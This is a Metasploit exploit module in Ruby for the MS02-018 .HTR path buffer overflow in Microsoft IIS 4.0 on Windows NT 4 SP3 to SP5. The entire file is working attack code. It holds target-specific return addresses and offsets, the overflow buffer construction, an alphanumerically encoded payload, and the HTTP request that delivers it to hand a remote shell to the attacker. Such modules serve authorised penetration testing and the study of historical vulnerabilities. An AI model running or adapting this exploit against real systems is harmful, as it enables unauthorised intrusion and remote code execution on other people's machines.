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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MS02-018 Microsoft IIS 4.0 .HTR Path Overflow',
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      'Description'    => %q{
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          This exploits a buffer overflow in the ISAPI ISM.DLL used to
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        process HTR scripting in IIS 4.0. This module works against
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        Windows NT 4 Service Packs 3, 4, and 5. The server will
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        continue to process requests until the payload being
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        executed has exited. If you've set EXITFUNC to 'seh', the
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        server will continue processing requests, but you will have
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        trouble terminating a bind shell. If you set EXITFUNC to
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        thread, the server will crash upon exit of the bind shell.
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        The payload is alpha-numerically encoded without a NOP sled
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        because otherwise the data gets mangled by the filters.
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      },
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      'Author'         => [ 'stinko' ],
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      'License'        => BSD_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '1999-0874'],
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          [ 'OSVDB', '3325'],
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          [ 'BID', '307'],
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          [ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
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          [ 'MSB', 'MS02-018'],
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        ],
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 2048,
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          'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],
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          ['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],
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          ['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],
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        ],
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      'DefaultOptions' => { 'AllowWin32SEH' => true }, # needed for pure alpha GetEIP stub
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      'DisclosureDate' => '2002-04-10',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        Opt::RPORT(80)
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      ])
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  end
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  def exploit
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    connect
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    buf = 'X' * target['Rets'][0]
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    buf << [ target['Rets'][1] ].pack('V')
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    buf << payload.encoded
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    req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"
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    print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])
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    sock.put(req)
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    handler
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    disconnect
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  end
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end
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